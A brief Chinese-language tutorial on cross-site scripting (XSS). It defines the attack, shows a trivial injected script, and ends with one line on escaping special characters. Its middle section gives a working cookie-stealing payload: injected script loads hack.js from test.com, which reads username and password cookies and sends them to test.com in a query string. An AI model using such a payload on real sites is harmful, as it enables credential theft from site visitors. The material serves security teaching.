1.什么是XSS攻击
XSS攻击(跨站脚本攻击Cross Site Script),攻击者往web页面插入恶意的脚本代码,当用户浏览该页面时,脚本代码会执行。
2.XSS攻击简单示例
<p> 这是新闻的正文 <script type="text/javascript"> console.log('stupid boy!'); </script> </p>
新闻正文中包含一段可执行脚本,
查询新闻列表,会发现页面会弹出“stupid boy!”提示。
3.XSS攻击窃取用户名密码
<p> 这是新闻的正文 <script type="text/javascript" src="heep://test.com/hack.js"> </script> </p>
hack.js
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
以上代码,可以轻松获取所有正在访问网站浏览器cookie中的用户名和密码。
4.XSS攻击的预防
用户的输入不可信赖,需要对特殊字符如"<",">"转义